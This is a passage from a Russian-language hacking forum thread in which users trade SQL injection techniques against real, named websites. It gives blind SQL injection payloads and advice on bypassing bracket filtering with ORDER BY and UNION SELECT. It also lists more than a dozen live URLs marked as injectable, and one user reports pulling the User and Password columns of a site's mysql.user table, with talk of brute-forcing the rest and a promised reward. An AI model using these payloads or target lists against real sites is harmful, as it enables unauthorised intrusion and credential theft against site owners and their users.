http://www.mp3hungama.com/music/genr...lect+1,+2,+3-- почему он мне не чего не выдаёт ?он вроде должен выдавать цифру с которой будем работать

Уважаемые форумчане, помогите плз разшевелить одну Blind SQL inject.
Есть баг

Цитата:


site/?news&id=139/**/and/**/1=1



Но при

Цитата:


site/?news&id=139/**/and/**/ascii(lower(substring(user(),1,1)))>100



Ворачевается на главную, есть вероятность что фильтрются скобки, как можно это обойти?
Подскажите какие есть нюансы при Blind SQL inject, или дайте ссылку. С плюсами не обижу.
Если все прокатит возможно хорошее вознагрождение!

Цитата:

Сообщение от LiRvD08

Уважаемые форумчане, помогите плз разшевелить одну Blind SQL inject.
Есть баг
Цитата:
site/?news&id=139/**/and/**/1=1
Но при
Цитата:
site/?news&id=139/**/and/**/ascii(lower(substring(user(),1,1)))>100
Ворачевается на главную, есть вероятность что фильтрются скобки, как можно это обойти?
Подскажите какие есть нюансы при Blind SQL inject, или дайте ссылку. С плюсами не обижу.
Если все прокатит возможно хорошее вознагрождение!

Попробуй вообще без скобок, зачем тебе они? Пробуй обычный order+by и select+union.

PS C плюсами ты погарячился, у тебя вес репы 0 :wink:

Цитата:

Сообщение от stan_q

Попробуй вообще без скобок, зачем тебе они? Пробуй обычный order+by и select+union.

Через order by кол-во колонок сразу подобрал, а вот union+select не пашет.
Мне этот сайт нужен, так что буду дальше копать.

http://203.10.121.98/deliver/content.asp?pid=38337 по этому запросу

Microsoft OLE DB Provider for SQL Server error '80004005'

Failed to update database "lpplc07" because the database is read-only.

/includes/webpagecontent.asp, line 156

Возможно что нить сделать?

http://www.libraryonline.com/default.asp?pID=30 С помощью Хелпера выбил Таблицу mysql.user и две колонки Password and User однако открыть их не как...

вот дырка тут есть, вот только не могу расчитать тама

Добавлено через 1 час 22 минуты
http://www.libraryonline.com/default.asp?pID=30
http://www.technosport.com/product_d...asp?PID=207%27
http://www.nineeagle.com/en/p.asp?pid=34%27
http://www.act-labs.com/scripts/prod...asp?Pid=851%27
http://www.hms.se/products/products.asp?PID=110%27
http://www.jorkyball.org/home/page.asp?pid=58%27
http://www.sangean.com/products/prod....asp?pid=11%27
http://www.anybus.com/products/products.asp?PID=140%27
http://www.hakkousa.com/detail.asp?PID=838%27
http://academy.softjoys.ru/index.php3?pid=65%27 (русский сайт компьютерной академии)))
http://www.smtd.org/displayPage.asp?pID=25%27
http://www.zonadostupa.ru/catal.php?pid=2'

http://www.uptime.ru/monitoring.php?pid=12%27

Цитата:

Сообщение от Hakera

две колонки Password and User однако открыть их не как...

Они пустые

Остальные брутить надо - там 4 ветка MySQL

Цитата:

Сообщение от stan_q

Они пустые

Остальные брутить надо - там 4 ветка MySQL

Тоесть вручную надо?)

Цитата:

Сообщение от Hakera

Тоесть вручную надо?)

Да